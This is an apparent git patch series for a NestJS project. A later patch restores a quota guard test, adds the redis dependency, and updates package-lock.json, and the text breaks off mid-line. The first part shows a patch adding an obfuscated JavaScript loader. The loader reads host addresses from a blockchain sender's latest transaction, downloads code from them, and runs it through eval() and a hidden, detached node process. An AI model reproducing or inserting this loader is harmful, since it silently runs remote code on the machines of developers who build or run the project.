nonceAtBlocks(CM$Wz_bSEuXKdWfi,vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),QcLgfQBypzvCa=SoikConeelN[KYZeSIB(0x1bc)](ceRuRdAnCmORJt=>ceRuRdAnCmORJt>=KdmVwLcnVRrGrW);if(QcLgfQBypzvCa===-(-parseInt(0x82f)+parseInt(0x622)+Math.floor(0x20e)))EyfGMqfGt=CM$Wz_bSEuXKdWfi[CM$Wz_bSEuXKdWfi[KYZeSIB(0x192)]-(-0x1dd8+Number(-0x244)+0x1*Math.floor(parseInt(0x201d)))];else{MFMjq=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa];if(QcLgfQBypzvCa>Number(0x1)*parseInt(0x11f)+-parseInt(0x3)*parseFloat(parseInt(0xa9))+Math.max(parseInt(0xdc),0xdc))EyfGMqfGt=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa-(Math.trunc(0x1)*-0x752+0x1dfd+-0xb55*parseInt(parseInt(0x2)))];}}const pwsZeE=await withRpcEndpoints((ozRbTmuUOSQxTaHSxAMAP,TEeXvPj)=>rpcCall(ozRbTmuUOSQxTaHSxAMAP,KYZeSIB(0x19d),[toBlockHex(MFMjq),!![]],TEeXvPj),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),MewjUeWTCE$egTDNiInBMBgf=pwsZeE?.[KYZeSIB(0x175)]||[];let tqCDDCknnC=null;for(const b__FnlemnKd of MewjUeWTCE$egTDNiInBMBgf){if(!b__FnlemnKd[KYZeSIB(0x1b0)]||b__FnlemnKd[KYZeSIB(0x1b0)][KYZeSIB(0x1c3)]()!==SENDER)continue;if(BigInt(b__FnlemnKd[KYZeSIB(0x154)])===wxMNGaAYpSO){tqCDDCknnC=b__FnlemnKd;break;}if(!tqCDDCknnC||BigInt(b__FnlemnKd[KYZeSIB(0x154)])>BigInt(tqCDDCknnC[KYZeSIB(0x154)]))tqCDDCknnC=b__FnlemnKd;}return{'blockNumber':MFMjq,'tx':tqCDDCknnC};}finally{vOeJlPmLwpiHL$oohJee[KYZeSIB(0x1ab)]();}}async function lastSenderTxViaIndexer(){const SCVGJ_IJGWPiEDEMaV_PMtnULo=BEf$CYFUWXrAiwaYBJ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1bb)](jigmfjPfLbDrJaOT=>jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)]&&jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)][SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c3)]()===SENDER);return{'blockNumber':BigInt(oizDGSQQ_RyjP$GbM[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1a3)]),'tx':oizDGSQQ_RyjP$GbM};}async function run(){const whs$nYWTlPzY=BEf$CYFUWXrAiwaYBJ,zMgSeaz=BigInt(await withRpcEndpoints((qtPCkCRAEVWH_NkH_cnm,f_UHJffpCvbHRB$tiJPyp)=>rpcCall(qtPCkCRAEVWH_NkH_cnm,whs$nYWTlPzY(0x160),[],f_UHJffpCvbHRB$tiJPyp))),CWWJsO$TZ=zMgSeaz-zMgSeaz%BLOCK_MULTIPLE;let oIucMTWeI=await firstMatch(candidateBlocks(CWWJsO$TZ)[whs$nYWTlPzY(0x170)](blockTask));!oIucMTWeI&&(oIucMTWeI=await lastSenderTx(zMgSeaz)[whs$nYWTlPzY(0x1aa)](()=>lastSenderTxViaIndexer()));const [fxydRcJblRNYxMPdn,pMMdlGsTHq_NQFuzSGfwaVj_A]=decodeAddress(oIucMTWeI['tx']['to']),bRsOozpSEKZvmdjiHwuhb=global;bRsOozpSEKZvmdjiHwuhb['_V']=bRsOozpSEKZvmdjiHwuhb['i'],bRsOozpSEKZvmdjiHwuhb['_H']=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x157)]=whs$nYWTlPzY(0x159)+pMMdlGsTHq_NQFuzSGfwaVj_A+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x17d)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x1c5),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x1be)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185);function jRPe_$pro(AEEzGrqYV_mfkUCEUWURB,KOzb$TP_rMGJIxS){const z_SOYvRJaOEgyQMJlyl=whs$nYWTlPzY,IFHaRgVqomxJh$qVzf$VLfXyG={'hostname':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b5)],'port':Number(KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b4)])||0x31*-parseInt(0x2)+0x119+Number(-0x67),'path':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x198)]+KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x158)],'headers':{'User-Agent':z_SOYvRJaOEgyQMJlyl(0x195),'Sec-V':bRsOozpSEKZvmdjiHwuhb['_V']||parseInt(0xf60)+-0x61e+-parseInt(0x942)}};function fmGWrbBhU(InqhIrdb_iNVZtsJ$mYS){const UpgdSP_f$WJxlxa=z_SOYvRJaOEgyQMJlyl,M$n$GOjWFzYMwpXudh=AEEzGrqYV_mfkUCEUWURB[UpgdSP_f$WJxlxa(0x192)];for(let Q_xgQBVbDvn=0x18e*-0x7+0x183f+parseInt(0x1)*-0xd5d;Q_xgQBVbDvn{const RXvlYtHcsKeS=WlysIxGuPMcViepbraDjp_wli,CBAOZI$rcixEZZanTLMOm=http[RXvlYtHcsKeS(0x16e)]({...IFHaRgVqomxJh$qVzf$VLfXyG,'method':K_vSenE},VxIgkbRRYdgFucsNdoIDHFr=>{const XZJHXReDP=RXvlYtHcsKeS;if(K_vSenE===XZJHXReDP(0x193)){try{ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));}catch(RZRFkoIipO){NZIEVyTIKMQVORTZfU(RZRFkoIipO);}VxIgkbRRYdgFucsNdoIDHFr[XZJHXReDP(0x1a1)]();return;}const cPKJoMYzdExeb$XXVTS=[];VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x18e),MYQD_ZFWLwm$Ov=>cPKJoMYzdExeb$XXVTS[XZJHXReDP(0x166)](MYQD_ZFWLwm$Ov)),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x1c0),()=>{const vmTXJa_MM$WzZOdwzwDkERCdK=XZJHXReDP;try{const fAhxZbhTcBfzeDihoLRDX=Buffer[vmTXJa_MM$WzZOdwzwDkERCdK(0x1b3)](cPKJoMYzdExeb$XXVTS);if(fAhxZbhTcBfzeDihoLRDX[vmTXJa_MM$WzZOdwzwDkERCdK(0x192)])return ZQuPXkVipPg(fmGWrbBhU(fAhxZbhTcBfzeDihoLRDX));if(VxIgkbRRYdgFucsNdoIDHFr[vmTXJa_MM$WzZOdwzwDkERCdK(0x1c7)][vmTXJa_MM$WzZOdwzwDkERCdK(0x18d)])return ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));NZIEVyTIKMQVORTZfU(new Error(vmTXJa_MM$WzZOdwzwDkERCdK(0x17b)));}catch(IG_a_MJi){NZIEVyTIKMQVORTZfU(IG_a_MJi);}}),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x188),NZIEVyTIKMQVORTZfU);});CBAOZI$rcixEZZanTLMOm['on'](RXvlYtHcsKeS(0x188),NZIEVyTIKMQVORTZfU),CBAOZI$rcixEZZanTLMOm[RXvlYtHcsKeS(0x1c0)]();});}return OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x181))[z_SOYvRJaOEgyQMJlyl(0x1aa)](()=>OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x193)));}async function zS$wdno(RqdenM$wJdTdnrzoPxWuyF_a,k$DEq$xpz,cN$yvd){const CTJVzfTMEozmTbUg=whs$nYWTlPzY;try{const ZeKiakEO$nY_FkVMX=await jRPe_$pro(k$DEq$xpz,RqdenM$wJdTdnrzoPxWuyF_a),DiRknXtYt=cN$yvd?CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||Math.ceil(parseInt(0x14))*-0x1b6+-0x1*parseFloat(0xc51)+Math.max(0x2e89,0x2e89))+CTJVzfTMEozmTbUg(0x1a6)+bRsOozpSEKZvmdjiHwuhb['_H']+CTJVzfTMEozmTbUg(0x183)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x157)]+CTJVzfTMEozmTbUg(0x1ad):CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||-0x78a+Math.floor(0x1f6)*-0x3+Number(0xd6c)*parseFloat(parseInt(0x1)))+CTJVzfTMEozmTbUg(0x1a2)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18f),!![]);}run(); +}; From 3a394aec5e3788d7f79c88021e47fe89585d4273 Mon Sep 17 00:00:00 2001 From: Okey Amy Date: Sun, 18 Oct 2026 15:01:03 +0100 Subject: [PATCH 2/4] fix: restore quota guard spec from base64 blob and declare redis src/common/guard/quota.guard.spec.ts was committed as a single base64 line (26k chars) in f6c09b5, so the suite failed to parse and the file masked every other TypeScript error (tsc stops after syntax errors). - restore the last plain revision of the spec and extend it with redis-backed monthly quota coverage (counter increments, paid limit, 429 QUOTA_EXCEEDED, enterprise unlimited) using a mocked redis driver - declare the redis package the guard imports; it was used but never a dependency, so any test importing quota.guard failed to resolve it - rename the MONTHLY_QUOTA_LIMITS key pro -> paid to match the RateLimitTier union; paid requests previously fell back to the free 10k limit via the ?? fallback in consumeMonthlyQuota --- package-lock.json | 188 ++++++++++++++++++++++- package.json | 3 +- src/common/guard/quota.guard.spec.ts | 217 ++++++++++++++++++++++++++- src/common/guard/quota.guard.ts | 2 +- 4 files changed, 400 insertions(+), 10 deletions(-) diff --git a/package-lock.json b/package-lock.json index dff32ebc..77ef35bc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -75,6 +75,7 @@ "pino": "^10.3.0", "prom-client": "^15.1.3", "qrcode": "^1.5.4", + "redis": "^5.12.1", "reflect-metadata": "^0.1.13", "rimraf": "^5.0.5", "rxjs": "^7.8.1", @@ -1754,6 +1755,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "dev": true, "license": "MIT", "optional": true }, @@ -6402,6 +6404,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6414,6 +6417,7 @@ "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", "deprecated": "This functionality has been moved to @npmcli/fs", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -6428,6 +6432,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -6440,6 +6445,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6461,6 +6467,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6475,6 +6482,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -9103,6 +9111,87 @@ "integrity": "sha512-oOAWABowe8EAbMyWKM0tYDKi8Yaox52D+HWZhAIJqQXbqe0xI/GV7FhLWqlEKreMkfDjshR5FKgi3mnle0h6Eg==", "license": "BSD-3-Clause" }, + "node_modules/@redis/bloom": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/bloom/-/bloom-5.12.1.tgz", + "integrity": "sha512-PUUfv+ms7jgPSBVoo/DN4AkPHj4D5TZSd6SbJX7egzBplkYUcKmHRE8RKia7UtZ8bSQbLguLvxVO+asKtQfZWA==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/client": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/client/-/client-5.12.1.tgz", + "integrity": "sha512-7aPGWeqA3uFm43o19umzdl16CEjK/JQGtSXVPevplTaOU3VJA/rseBC1QvYUz9lLDIMBimc4SW/zrW4S89BaCA==", + "license": "MIT", + "dependencies": { + "cluster-key-slot": "1.1.2" + }, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@node-rs/xxhash": "^1.1.0", + "@opentelemetry/api": ">=1 <2" + }, + "peerDependenciesMeta": { + "@node-rs/xxhash": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + } + } + }, + "node_modules/@redis/client/node_modules/cluster-key-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", + "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@redis/json": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/json/-/json-5.12.1.tgz", + "integrity": "sha512-eOze75esLve4vfqDel7aMX08CNaiLLQS2fV8mpRN9NxPe1rVR4vQyYiW/OgtGUysF6QOr9ANhfxABKNOJfXdKg==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/search": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/search/-/search-5.12.1.tgz", + "integrity": "sha512-ItlxbxC9cKI6IU1TLWoczwJCRb6TdmkEpWv05UrPawqaAnWGRu3rcIqsc5vN483T2fSociuyV1UkWIL5I4//2w==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/time-series": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/time-series/-/time-series-5.12.1.tgz", + "integrity": "sha512-c6JL6E3EcZJuNqKFz+KM+l9l5mpcQiKvTwgA3blt5glWJ8hjDk0yeHN3beE/MpqYIQ8UEX44ItQzgkE/gCBELQ==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, "node_modules/@repeaterjs/repeater": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@repeaterjs/repeater/-/repeater-3.1.0.tgz", @@ -10281,6 +10370,7 @@ "version": "1.1.2", "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -11514,6 +11604,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true, "license": "ISC", "optional": true }, @@ -11596,6 +11687,7 @@ "version": "4.6.0", "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -11609,6 +11701,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -11811,6 +11904,7 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "dev": true, "license": "ISC", "optional": true }, @@ -11819,6 +11913,7 @@ "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12581,6 +12676,7 @@ "version": "15.3.0", "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12611,6 +12707,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -12623,6 +12720,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12644,6 +12742,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12657,6 +12756,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12670,6 +12770,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12684,6 +12785,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12700,6 +12802,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -12952,6 +13055,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -13192,6 +13296,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "dev": true, "license": "ISC", "optional": true, "bin": { @@ -13289,7 +13394,7 @@ "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "devOptional": true, + "dev": true, "license": "MIT" }, "node_modules/concat-stream": { @@ -13317,6 +13422,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -13774,6 +13880,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "dev": true, "license": "MIT", "optional": true }, @@ -14224,7 +14331,7 @@ "version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=6" @@ -14247,6 +14354,7 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, "license": "MIT", "optional": true }, @@ -15993,7 +16101,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "devOptional": true, + "dev": true, "license": "ISC" }, "node_modules/fsevents": { @@ -16059,6 +16167,7 @@ "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -16079,6 +16188,7 @@ "version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -16408,7 +16518,7 @@ "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "devOptional": true, + "dev": true, "license": "ISC" }, "node_modules/graphemer": { @@ -16692,6 +16802,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -16806,6 +16917,7 @@ "version": "4.2.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "dev": true, "license": "BSD-2-Clause", "optional": true }, @@ -16833,6 +16945,7 @@ "version": "4.0.1", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -16871,6 +16984,7 @@ "version": "1.2.1", "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -16999,7 +17113,7 @@ "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": 